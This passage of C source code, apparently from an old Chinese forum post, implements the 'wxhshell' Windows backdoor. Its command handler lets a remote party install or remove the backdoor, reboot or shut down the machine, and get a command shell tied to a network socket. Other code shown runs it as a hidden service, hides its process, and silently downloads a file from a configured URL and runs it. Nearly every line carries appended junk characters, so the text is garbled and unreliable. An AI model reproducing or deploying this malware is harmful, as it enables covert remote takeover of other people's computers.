    break; (Q#ArMMORI  
  } vWjK[5 M%  
  // 安装 OlMCF.W#3  
  case 'i': { AY,6Ddw  
    if(Install()) a5]~%xdK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9CUMqaY2  
    else 8I NVn'G  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "x3_cA~  
    break; [Z~>7ayF+)  
    } ^EZ)NG=e5  
  // 卸载 E(8O3*=  
  case 'r': { =]U[   
    if(Uninstall()) V4/eGh_T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %Xkynso~  
    else K31Fp;K  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -V_e=Y<J/  
    break; >L[,.}(9  
    } QF!K$?EU[  
  // 显示 wxhshell 所在路径 *l_1T4]S  
  case 'p': {  2Np9*[C  
    char svExeFile[MAX_PATH]; C Hyb{:<  
    strcpy(svExeFile,"\n\r"); bZ )3{  
      strcat(svExeFile,ExeFile); )u3<lpoTy  
        send(wsh,svExeFile,strlen(svExeFile),0); ww+XE2,  
    break; bZERh:%o  
    } PN+,M50;1  
  // 重启 nLdI>c9R  
  case 'b': { @fbvu_-].  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); r{p?aG  
    if(Boot(REBOOT)) B YNOgB1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /0Zwgxt4?7  
    else { |44CD3A%  
    closesocket(wsh); ++Az~{W7  
    ExitThread(0); gaTI:SKzc  
    } q+|Dm<Ug  
    break; [<8<+lH=P  
    } )wSsxX7:  
  // 关机 >SSF:hI"J  
  case 'd': { 4'G<qJoc  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Lr40rLx;u  
    if(Boot(SHUTDOWN)) |Z#) 1K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3U1xKF  
    else { ^9qncvV  
    closesocket(wsh); YC*S;q  
    ExitThread(0); vA(3H/)-  
    } k. px  
    break; Z~muQ c?  
    } *Fp )/Ih  
  // 获取shell tGv4 S\  
  case 's': { r|?2@VE  
    CmdShell(wsh); [eG- &u  
    closesocket(wsh); 1u)I}"{W>  
    ExitThread(0); b3y@!_'c  
    break; PNg,bcl  
  } GS< ,adD  
  // 退出  =Lp0i9c  
  case 'x': { ^J@Y?CQl\  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); wR>\5z )^  
    CloseIt(wsh); b`18y cVME  
    break; HO & #Lv  
    } xxiEL2"`>  
  // 离开 Ler9~}\D  
  case 'q': { sE-"TNONZ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); {.Nt#l  
    closesocket(wsh); w9i1ag  
    WSACleanup(); Z</$~ T  
    exit(1); ]UFf-  
    break; 7NoB   
        } 0dXZd2oK@  
  } xqM R[W\x  
  } 83)2c a  
YujhpJ<  
  // 提示信息 UO>p-M  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %J2u+K  
} YX@[z 5*  
  } m:X;dcq'3  
d&.)Dw  
  return; Rz*%(2Vz  
} ML Id3#Q  
0u)]1  
// shell模块句柄 Tw-gM-m;  
int CmdShell(SOCKET sock) won%(n,HT  
{ jJ|O]v$N  
STARTUPINFO si; #}e)*(  
ZeroMemory(&si,sizeof(si)); U,aV {qz  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^ 8egn|  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; gQ,PG  
PROCESS_INFORMATION ProcessInfo; /':kJOk<[  
char cmdline[]="cmd"; H.!M_aJH  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Sf lHSMFw  
  return 0; b_cD >A  
} <:>a51HBX  
:2K0/@<x  
// 自身启动模式 Z`q?pE>R  
int StartFromService(void) @/B&R^aVZ  
{ b.;F)(  
typedef struct ks 3<zW(  
{ xNE<$Bz  
  DWORD ExitStatus; !XzRV?Ih;  
  DWORD PebBaseAddress; R9fM9  
  DWORD AffinityMask; /R 2:Js  
  DWORD BasePriority; u@[D*c1!H  
  ULONG UniqueProcessId; vKol@7%N  
  ULONG InheritedFromUniqueProcessId; a&wl-  
}   PROCESS_BASIC_INFORMATION; BEifUgCh  
z/6eP`jj  
PROCNTQSIP NtQueryInformationProcess; O6l j^  
DoNbCVZ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; G|IO~o0+  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `?91Cw=`  
{p1#H`  
  HANDLE             hProcess; ^e^M A.kM,  
  PROCESS_BASIC_INFORMATION pbi; 8]'qJ;E2  
3%!d&j>v  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); w+*Jl}&\  
  if(NULL == hInst ) return 0; nOp\43no  
BWfsk/lej  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); D]Bvjh   
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /< h~d  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |HhUU1!  
h6 8sQd  
  if (!NtQueryInformationProcess) return 0; U]d{hY."  
~48Uch\LG:  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); MU%C_d%.  
  if(!hProcess) return 0; -~]*)&  
b2r@vZ]D  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [bH6>{3u  
DY0G ;L 3  
  CloseHandle(hProcess); vX/~34o]\  
?psvhB{O  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); r;I 3N+  
if(hProcess==NULL) return 0; g}P.ksM  
;r"YZs&Xd  
HMODULE hMod; ^szCf|SM  
char procName[255]; :TX!lbCq  
unsigned long cbNeeded; .)ZK42Qd  
!imm17XQ\  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); u])N^AY"sj  
50uNgLs  
  CloseHandle(hProcess); /i"L@t)\t  
YeptYW@xfw  
if(strstr(procName,"services")) return 1; // 以服务启动 _;L9&>!p6  
i|)<#Ywl  
  return 0; // 注册表启动 1^b-J0  
} _Cj u C`7  
AQQeLdTq  
// 主模块 s(r(! FZ  
int StartWxhshell(LPSTR lpCmdLine) ]fnc.^{  
{ o!gl :izb  
  SOCKET wsl; ((B7k{`  
BOOL val=TRUE; 3a"4Fn  
  int port=0; 7%&#V2  
  struct sockaddr_in door;  Fp'k{  
p\WW~qD  
  if(wscfg.ws_autoins) Install(); yL7a*C&  
0!eZ&.h?4  
port=atoi(lpCmdLine); oV&AJ=|\  
vp{jh-&  
if(port<=0) port=wscfg.ws_port; jDqe)uVvtV  
Vf`1'GY  
  WSADATA data; "U4Sn'&h@  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4b,N"w{v  
{%)bxk6  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   fnN"a Z  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); gp$oQh#37;  
  door.sin_family = AF_INET; wtu WzHrF  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); :1PT`:Y  
  door.sin_port = htons(port); 1I<D `H%  
,mx>)} l95  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { )k.;.7dXe  
closesocket(wsl); b$l@Z&[]  
return 1; +DY% Y `0  
} %D)W~q-g  
Ze~^+ EE  
  if(listen(wsl,2) == INVALID_SOCKET) { Rjqeuyj:  
closesocket(wsl); Pa 'g=-  
return 1; :-fCyF)EI  
} w[S2 ] <  
  Wxhshell(wsl); kid3@  
  WSACleanup();  Cdin"  
mg;+Th &  
return 0; C{`+h163\  
)[.FUx  
} $8kc1Q  
G&I\Za;   
// 以NT服务方式启动 C4 H M  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) y)0r%=  
{ vUk <z*  
DWORD   status = 0; 5A g 4o  
  DWORD   specificError = 0xfffffff; [y7BHikX)  
qL/4mM0  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ^i&sQQ( {  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; a^ hDxeG  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; xX.fN7[  
  serviceStatus.dwWin32ExitCode     = 0; Y6~/H  
  serviceStatus.dwServiceSpecificExitCode = 0; s5_[[:c=^  
  serviceStatus.dwCheckPoint       = 0; 'vq-~y5^#  
  serviceStatus.dwWaitHint       = 0; $,ZBK6CT  
y'?ksow  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); #2<.0@@ TI  
  if (hServiceStatusHandle==0) return; $b,o3eC  
dMK| l   
status = GetLastError(); JS]6jUB<B  
  if (status!=NO_ERROR) /o Q^j'v  
{ t :B~P,r  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Rf||(KC<  
    serviceStatus.dwCheckPoint       = 0; 7s+3^'  
    serviceStatus.dwWaitHint       = 0; +&6R(7XC  
    serviceStatus.dwWin32ExitCode     = status; />=)=CGv;  
    serviceStatus.dwServiceSpecificExitCode = specificError; ..`J-k  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); hK5BOq!y  
    return; tgCEz%  
  } se(ZiyHp  
P~HzN C  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Q(=} PF  
  serviceStatus.dwCheckPoint       = 0; #EQwl6  
  serviceStatus.dwWaitHint       = 0; u/-u l  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); K;^$n>Y  
} t}n:!v"|+O  
gVO<W.?  
// 处理NT服务事件,比如:启动、停止 =+HMPV6yg7  
VOID WINAPI NTServiceHandler(DWORD fdwControl) wl|cipy"  
{ }SpjB  
switch(fdwControl) scZdDbL6+  
{ N/IDj2C4  
case SERVICE_CONTROL_STOP: XUTI0  
  serviceStatus.dwWin32ExitCode = 0; DC4O@"  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; _+7 3Y'  
  serviceStatus.dwCheckPoint   = 0; Y7g^ ?6  
  serviceStatus.dwWaitHint     = 0; lf3QMr+  
  { <Yif-9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); E_ #MQ;n  
  } yE1M+x./  
  return; AJ1(q:P  
case SERVICE_CONTROL_PAUSE: 0~ !).f  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; d~ n|F|`:  
  break; WsO'4~X9  
case SERVICE_CONTROL_CONTINUE: E:'TZ4Z  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; +ExXhT  
  break; }QrBN:a$(  
case SERVICE_CONTROL_INTERROGATE: ~IrrX,mp:  
  break; L@xag-b i  
}; ^oaFnzJdf  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); B7HNNX  
} W?is8r:  
/o%J / |  
// 标准应用程序主函数 rV;X1x}l  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) r1dP9MT\8  
{ pD;'uEFBQ  
AT*J '37  
// 获取操作系统版本 7 L2$(d4  
OsIsNt=GetOsVer(); |&!04~s;E  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 0*G =~:  
6?GR+;/  
  // 从命令行安装 UolsF-U}'  
  if(strpbrk(lpCmdLine,"iI")) Install(); b'F#Y9  
R{={7.As+  
  // 下载执行文件 8NU<lV`  
if(wscfg.ws_downexe) { I2"F2(>8K  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ;>%@  
  WinExec(wscfg.ws_filenam,SW_HIDE); P| c[EUT  
} $d\]s]}`  
^I2+$  
if(!OsIsNt) { mY!os91KoO  
// 如果时win9x,隐藏进程并且设置为注册表启动 =SMI,p&  
HideProc(); $hv o^$  
StartWxhshell(lpCmdLine); gT3i{iU  
} oTS/z\C"<u  
else KA^r,Iw  
  if(StartFromService()) OAx5 LTd  
  // 以服务方式启动 `?@7T-v  
  StartServiceCtrlDispatcher(DispatchTable); b/^i  
else oZVq }}R  
  // 普通方式启动 nKxu8YAJe  
  StartWxhshell(lpCmdLine); YK Cd:^u  
m][i-|@M  
return 0; o!bIaeEaU  
}
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只看该作者 1 发表于: 2006-10-10
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